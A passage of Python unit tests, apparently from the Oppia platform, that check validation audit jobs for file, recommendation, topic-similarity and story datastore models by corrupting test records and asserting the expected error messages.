exp_models.ExplorationModel.get_by_id('exp1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of FileModel\', ' '[u"Entity id %s: based on field exploration_ids having ' 'value exp1, expect model ExplorationModel with id exp1 ' 'but it doesn\'t exist"]]') % self.model_instance_1.id, u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): file_models.FileSnapshotMetadataModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of FileModel\', ' '[u"Entity id %s: based on field snapshot_metadata_ids ' 'having value %s-1, expect model FileSnapshotMetadataModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): file_models.FileSnapshotContentModel.get_by_id( '%s-1' % self.model_instance_0.id).delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of FileModel\', ' '[u"Entity id %s: based on field snapshot_content_ids having ' 'value %s-1, expect model FileSnapshotContentModel ' 'with id %s-1 but it doesn\'t exist"]]') % ( self.model_instance_0.id, self.model_instance_0.id, self.model_instance_0.id), u'[u\'fully-validated FileModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class FileSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(FileSnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_model_0 = file_models.FileModel.create( 'exploration/exp0', 'assets/image/img0.png') file_model_0.commit(self.owner_id, []) file_model_1 = file_models.FileModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_model_1.commit(self.user_id, []) self.id_0 = file_model_0.id self.id_1 = file_model_1.id self.model_instance_0 = ( file_models.FileSnapshotMetadataModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileSnapshotMetadataModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off .FileSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_model_failure(self): file_models.FileModel.get_by_id(self.id_0).delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_ids ' 'field check of FileSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field file_ids ' 'having value %s, expect model FileModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_ids having value %s, expect model ' 'FileModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0), u'[u\'fully-validated FileSnapshotMetadataModel\', 1]'] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of FileSnapshotMetadataModel\', ' '[u"Entity id %s-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.id_1, self.user_id, self.user_id), ( u'[u\'fully-validated ' 'FileSnapshotMetadataModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_file_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileSnapshotMetadataModel( id='%s-3' % self.id_0, committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file model ' 'version check of FileSnapshotMetadataModel\', ' '[u\'Entity id %s-3: File model corresponding to ' 'id %s has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileSnapshotMetadataModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class FileSnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(FileSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( 'exp%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(2)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) file_model_0 = file_models.FileModel.create( 'exploration/exp0', 'assets/image/img0.png') file_model_0.commit(self.owner_id, []) file_model_1 = file_models.FileModel.create( 'exploration/exp1', '/exploration/exp1/assets/audio/aud1.mp3') file_model_1.commit(self.owner_id, []) self.id_0 = file_model_0.id self.id_1 = file_model_1.id self.model_instance_0 = ( file_models.FileSnapshotContentModel.get_by_id( '%s-1' % self.id_0)) self.model_instance_1 = ( file_models.FileSnapshotContentModel.get_by_id( '%s-1' % self.id_1)) self.job_class = ( prod_validation_jobs_one_off.FileSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated FileSnapshotContentModel\', 2]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of FileSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'FileSnapshotContentModel\', 1]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'FileSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_file_model_failure(self): file_models.FileModel.get_by_id( self.id_0).delete(self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for file_ids ' 'field check of FileSnapshotContentModel\', ' '[u"Entity id %s-1: based on field file_ids ' 'having value %s, expect model FileModel with ' 'id %s but it doesn\'t exist", u"Entity id %s-2: based on ' 'field file_ids having value %s, expect model ' 'FileModel with id %s but it doesn\'t exist"]]' ) % ( self.id_0, self.id_0, self.id_0, self.id_0, self.id_0, self.id_0), u'[u\'fully-validated FileSnapshotContentModel\', 1]'] run_job_and_check_output(self, expected_output, literal_eval=True) def test_invalid_file_version_in_model_id(self): model_with_invalid_version_in_id = ( file_models.FileSnapshotContentModel( id='%s-3' % self.id_0)) model_with_invalid_version_in_id.content = 'content' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for file model ' 'version check of FileSnapshotContentModel\', ' '[u\'Entity id %s-3: File model corresponding to ' 'id %s has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ) % (self.id_0, self.id_0), ( u'[u\'fully-validated FileSnapshotContentModel\', ' '2]')] run_job_and_check_output(self, expected_output, sort=True) class ExplorationRecommendationsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(ExplorationRecommendationsModelValidatorTests, self).setUp() self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.user_id, exp) recommendations_services.set_recommendations('0', ['3', '4']) recommendations_services.set_recommendations('1', ['5']) self.model_instance_0 = ( recommendations_models.ExplorationRecommendationsModel.get_by_id( '0')) self.model_instance_1 = ( recommendations_models.ExplorationRecommendationsModel.get_by_id( '1')) self.job_class = ( prod_validation_jobs_one_off .ExplorationRecommendationsModelAuditOneOffJob) def test_standard_model(self): expected_output = [( u'[u\'fully-validated ExplorationRecommendationsModel\', 2]')] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of ExplorationRecommendationsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated), u'[u\'fully-validated ExplorationRecommendationsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'ExplorationRecommendationsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_missing_recommended_exploration(self): exp_models.ExplorationModel.get_by_id('3').delete( self.user_id, '', [{}]) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of ExplorationRecommendationsModel\', ' '[u"Entity id 0: based on field exploration_ids having value ' '3, expect model ExplorationModel with ' 'id 3 but it doesn\'t exist"]]' ), u'[u\'fully-validated ExplorationRecommendationsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_id_in_recommended_ids(self): self.model_instance_0.recommended_exploration_ids = ['0', '4'] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for item exploration id check ' 'of ExplorationRecommendationsModel\', ' '[u\'Entity id 0: The exploration id: 0 for which the ' 'entity is created is also present in the recommended ' 'exploration ids for entity\']]' ), u'[u\'fully-validated ExplorationRecommendationsModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) class TopicSimilaritiesModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(TopicSimilaritiesModelValidatorTests, self).setUp() self.model_instance = recommendations_models.TopicSimilaritiesModel( id=recommendations_models.TOPIC_SIMILARITIES_ID) self.content = { 'Art': {'Art': '1.0', 'Biology': '0.8', 'Chemistry': '0.1'}, 'Biology': {'Art': '0.8', 'Biology': '1.0', 'Chemistry': '0.5'}, 'Chemistry': {'Art': '0.1', 'Biology': '0.5', 'Chemistry': '1.0'}, } self.model_instance.content = self.content self.model_instance.put() self.job_class = ( prod_validation_jobs_one_off.TopicSimilaritiesModelAuditOneOffJob) def test_standard_model(self): expected_output = [( u'[u\'fully-validated TopicSimilaritiesModel\', 1]')] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance.created_on = ( self.model_instance.last_updated + datetime.timedelta(days=1)) self.model_instance.put() expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of TopicSimilaritiesModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance.id, self.model_instance.created_on, self.model_instance.last_updated)] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): expected_output = [( u'[u\'failed validation check for current time check of ' 'TopicSimilaritiesModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance.id, self.model_instance.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output) def test_model_with_invalid_id(self): model_with_invalid_id = recommendations_models.TopicSimilaritiesModel( id='invalid', content=self.content) model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'TopicSimilaritiesModel\', ' '[u\'Entity id invalid: Entity id does not match regex ' 'pattern\']]' ), u'[u\'fully-validated TopicSimilaritiesModel\', 1]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_topic_similarities_columns(self): content = { 'Art': {'Art': '1.0', 'Biology': '0.5'}, 'Biology': {} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {}, u\'Art\': {u\'Biology\': u\'0.5\', ' 'u\'Art\': u\'1.0\'}} fails with error: Length of topic ' 'similarities columns: 1 does not match length of ' 'topic list: 2."]]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_topic(self): content = { 'Art': {'Art': '1.0', 'invalid': '0.5'}, 'invalid': {'Art': '0.5', 'invalid': '1.0'} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Art\': {u\'Art\': u\'1.0\', u\'invalid\': u\'0.5\'}, ' 'u\'invalid\': {u\'Art\': u\'0.5\', u\'invalid\': u\'1.0\'}} ' 'fails with error: Topic invalid not in list of known topics."]]')] run_job_and_check_output(self, expected_output) def test_model_with_invalid_topic_similarities_rows(self): content = { 'Art': {'Art': '1.0', 'Biology': '0.5'} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', [u"Entity id topics: ' 'Topic similarity validation for content: {u\'Art\': ' '{u\'Biology\': u\'0.5\', u\'Art\': u\'1.0\'}} fails with ' 'error: Length of topic similarities rows: 2 does not match ' 'length of topic list: 1."]]')] run_job_and_check_output(self, expected_output) def test_model_with_invalid_similarity_type(self): content = { 'Art': {'Art': 'one', 'Biology': 0.5}, 'Biology': {'Art': 0.5, 'Biology': 1.0} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity ' 'check of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {u\'Biology\': 1.0, u\'Art\': 0.5}, ' 'u\'Art\': {u\'Biology\': 0.5, u\'Art\': u\'one\'}} ' 'fails with error: Expected similarity to be a float, ' 'received one"]]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_similarity_value(self): content = { 'Art': {'Art': 10.0, 'Biology': 0.5}, 'Biology': {'Art': 0.5, 'Biology': 1.0} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity check ' 'of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {u\'Biology\': 1.0, u\'Art\': 0.5}, ' 'u\'Art\': {u\'Biology\': 0.5, u\'Art\': 10.0}} ' 'fails with error: Expected similarity to be between ' '0.0 and 1.0, received 10.0"]]')] run_job_and_check_output(self, expected_output) def test_model_with_assymetric_content(self): content = { 'Art': {'Art': 1.0, 'Biology': 0.5}, 'Biology': {'Art': 0.6, 'Biology': 1.0} } self.model_instance.content = content self.model_instance.put() expected_output = [( u'[u\'failed validation check for topic similarity ' 'check of TopicSimilaritiesModel\', ' '[u"Entity id topics: Topic similarity validation for ' 'content: {u\'Biology\': {u\'Biology\': 1.0, u\'Art\': 0.6}, ' 'u\'Art\': {u\'Biology\': 0.5, u\'Art\': 1.0}} fails with error: ' 'Expected topic similarities to be symmetric."]]')] run_job_and_check_output(self, expected_output) class StoryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StoryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') language_codes = ['ar', 'en', 'en'] stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d', corresponding_topic_id='0' ) for i in xrange(3)] for index, story in enumerate(stories): story.language_code = language_codes[index] story.add_node('node_1', 'Node1') story.add_node('node_2', 'Node2') story.update_node_destination_node_ids('node_1', ['node_2']) story.update_node_exploration_id( 'node_1', explorations[index * 2].id) story.update_node_exploration_id( 'node_2', explorations[index * 2 + 1].id) topic.add_canonical_story(story.id) story_services.save_new_story(self.owner_id, story) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = story_models.StoryModel.get_by_id('0') self.model_instance_1 = story_models.StoryModel.get_by_id('1') self.model_instance_2 = story_models.StoryModel.get_by_id('2') self.job_class = ( prod_validation_jobs_one_off.StoryModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StoryModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [ ( u'[u\'failed validation check for time field relation check ' 'of StoryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'StoryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_story_schema(self): expected_output = [ ( u'[u\'failed validation check for domain object check of ' 'StoryModel\', ' '[u\'Entity id %s: Entity fails domain validation with the ' 'error Invalid language code: %s\']]' ) % (self.model_instance_0.id, self.model_instance_0.language_code), u'[u\'fully-validated StoryModel\', 2]'] with self.swap( constants, 'ALL_LANGUAGE_CODES', [{ 'code': 'en', 'description': 'English'}]): run_job_and_check_output(self, expected_output, sort=True) def test_missing_exploration_model_failure(self): exp_models.ExplorationModel.get_by_id('1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for exploration_ids field ' 'check of StoryModel\', ' '[u"Entity id 0: based on field exploration_ids having value ' '1, expect model ExplorationModel with id 1 but it ' 'doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_commit_log_entry_model_failure(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') story_models.StoryCommitLogEntryModel.get_by_id( 'story-0-1').delete() expected_output = [ ( u'[u\'failed validation check for ' 'story_commit_log_entry_ids field check of ' 'StoryModel\', ' '[u"Entity id 0: based on field ' 'story_commit_log_entry_ids having value ' 'story-0-1, expect model StoryCommitLogEntryModel ' 'with id story-0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_summary_model_failure(self): story_models.StorySummaryModel.get_by_id('0').delete() expected_output = [ ( u'[u\'failed validation check for story_summary_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field story_summary_ids having ' 'value 0, expect model StorySummaryModel with id 0 ' 'but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_rights_model_failure(self): story_models.StoryRightsModel.get_by_id( '0').delete(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for story_rights_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field story_rights_ids having ' 'value 0, expect model StoryRightsModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): story_models.StorySnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model StorySnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): story_models.StorySnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of StoryModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model StorySnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated StoryModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StorySnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(StorySnapshotMetadataModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: if story.id != '0': story_services.save_new_story(self.owner_id, story) else: story_services.save_new_story(self.user_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StorySnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StorySnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StorySnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StorySnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StorySnapshotMetadataModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StorySnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StorySnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StorySnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_story_model_failure(self): story_models.StoryModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for story_ids ' 'field check of StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field story_ids ' 'having value 0, expect model StoryModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'story_ids having value 0, expect model ' 'StoryModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'StorySnapshotMetadataModel\', 2]')] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'StorySnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_story_version_in_model_id(self): model_with_invalid_version_in_id = ( story_models.StorySnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for story model ' 'version check of StorySnapshotMetadataModel\', ' '[u\'Entity id 0-3: Story model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated StorySnapshotMetadataModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_story_node' }, { 'cmd': 'delete_story_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_story_node check of ' 'StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_story_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'node_id, The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd add_story_node ' 'check of StorySnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_story_node\'} ' 'failed with error: The following required attributes ' 'are missing: node_id, title"]]' ), u'[u\'fully-validated StorySnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class StorySnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(StorySnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) topic = topic_domain.Topic.create_default_topic( topic_id='0', name='topic') stories = [story_domain.Story.create_default_story( '%s' % i, title='title %d' % i, corresponding_topic_id='0' ) for i in xrange(3)] for story in stories: story_services.save_new_story(self.owner_id, story) topic.add_canonical_story(story.id) topic_services.save_new_topic(self.owner_id, topic) self.model_instance_0 = ( story_models.StorySnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( story_models.StorySnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( story_models.StorySnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .StorySnapshotContentModelAuditOneOffJob) def test_standard_operation(self): story_services.update_story( self.owner_id, '0', [story_domain.StoryChange({ 'cmd': 'update_story_property', 'property_name': 'title', 'new_value': 'New title', 'old_value': 'title 0' })], 'Changes.') expected_output = [ u'[u\'fully-validated StorySnapshotContentModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of StorySnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'StorySnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'StorySnapshotContentModel\', ' 